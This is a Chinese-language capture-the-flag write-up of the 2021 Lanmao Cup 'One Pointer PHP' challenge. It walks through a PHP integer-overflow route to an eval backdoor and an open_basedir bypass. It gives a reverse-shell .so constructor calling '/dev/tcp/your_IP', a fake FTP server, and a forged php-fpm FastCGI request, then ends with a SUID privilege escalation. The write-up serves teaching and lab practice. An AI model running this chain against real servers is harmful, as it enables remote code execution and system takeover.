[蓝帽杯 2021]One Pointer PHP

这题弄了我3天时间，一开始是弹不了shell，以为是vps问题，换了个vps还是不行，又检查了pyload，又改了 so文件还是不行，最后反复检查 也算是彻底了解了这道题的考点。

开始吧。

源码：

add_api.php
 
<?php
show_source(__FILE__);
include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

user.php
 
<?php
class User{
	public $count;
}
?>

代码add_app.php包含user.php  将cookie 中的data 反序列化为 $user对象。将user 中 的count +1作为 count的下表 并给此元素赋值为1，然后进行if判断count[]=1的意思就是给此数组末尾添加一个元素，值为1。那这里第一个考点就已经出来了，倘若我将count设为最大值-1的数字，那么在经历过自增后，该count为最大值，再进行$count[]=1操作，由于数组已经达到最大值了，数组末尾无法添加元素，所以此操作出错，执行else语句。我们便可以RCE。不同的操作系统PHP最大值是不一样的，32位上为2147483647，64位上为9223372036854775807，所以这里我们应该设置count为9223372036854775806，写个序列化脚本生成序列化字符串
 

<?php
    class User
    {
        public $count=9223372036854775806;
    }
    echo serialize(new User);
?>

//O:4:"User":1:{s:5:"count";i:9223372036854775806;}
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

绕过之后，我们就可以进行到eval 函数。

传一个backdoor吧。

既然能看到phpinfo()了 。那么我们连一下蚁剑。

 Cookie记得传data  不然连不上去

 进到里面flag 是无法直接读取的，

 猜测是没有权限，继续往下再分析一下 phpinfo.

 果然是设置了open_basedir，我们需要进行绕过，如果对这个不熟悉的话，看看我之前写的博客。浅谈绕过open_basedir 的几种用法_snowlyzz的博客-CSDN博客

因为open_basedir 对目录又限制，所以我们只能对/var/www/html下的文件进行操作。但是我试了下，可以访问php.ini 配置文件:/user/local/etc/php/php.ini ，这种linux的文件路径和windows的是不一样的。

 这个异常的so文件，看其他师傅说是可以pwn。但是我不会 于是再看看nginx的配置文件。

路径：/etc/nginx/sites-enabled/default

 发现他是开启了 fastcgi ，这里的考点应该是利用FPM未授权漏洞对其攻击。

FPM未授权攻击。

先在linux 构造恶意的 so 文件，最好先更新一下gcc：linux安装gcc命令步骤(centos安装gcc命令)_sunsineq的博客-CSDN博客_gcc安装命令

在linux 创建 一个  . c 文件

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/your_IP/7777 0>&1'");
}

 然后：

gcc payload.c -fPIC -shared -o payload.so

 进行编译文件。

然后使用xftp 把你vps 下的 so 文件传输到你wiindows 上，然后在蚁剑上传到题目环境的/var/www/html/目录下

在搞个 具有SSRF 攻击漏洞的文件代码，在/html 目录下创建file.php  上图是我已经创好了。

file.php
<?php
    $file = $_GET['file'] ?? '/tmp/file';
    $data = $_GET['data'] ?? ':)';
    echo($file."</br>".$data."</br>");
    var_dump(file_put_contents($file, $data));
?>

这样就可以利用这个代码传输到我们的vps上进行反弹shell 了。

构造FTP服务器。

file变量是用来利用我们服务器伪造的FTP恶意代码的，当ftp建立连接后，会通过被动模式将payload重定向到目标主机本地9001端口的php-fpm上，并会成功反弹shell到我们的服务器上，所以我们要开两台服务器窗口，一台用来运行FTP，一台用来监听返回的数据。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 9999))#这里是ftp的端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

9999是我们需要打的端口，这个恶意伪造的FTP服务代码放我们服务器用python环境运行。另外我们FTP监听的这个端口要在服务器中打开，不然监听不到。

3.构造恶意Fastcgi请求

这个脚本很长，看着很吓人，但是我们只要知道一件事，这是一个现成的脚本是一个从漏洞发现至今一直没变的一串数据，我们不需要修改什么东西，最关键的是最下面$params中的数据了，其它的可以照搬。  

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('?file=ftp://ip:9999/&data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}
 
$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = payload.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => 'ctfking/Tajang',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9001', // 找准服务端口
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

运行上面这个脚本：

 先把 FTP挂起来 然后再监听端口。

 打入pyload：

 看到，已经弹到shell了。

直接  cat /flag 是读取不到的，因为我们没有权限。

提权。

提取提取，这个题目这么喜欢考提权。这里我们用到一条suid提权指令，

find / -perm -u=s -type f 2>/dev/null

过程可能会慢，等一会就好了   我们可以看到/usr/local/bin/php这一条，说明php有权限使用php -a进入交互模式，直接读取数据并不可以，我们可以用ini_set()把open_basedir变量指向根目录再读取，payload如下，

mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));

 得到flag。

文章写的比较潦草。因为我在这题上花了不少时间，不懂的可以在评论区问我。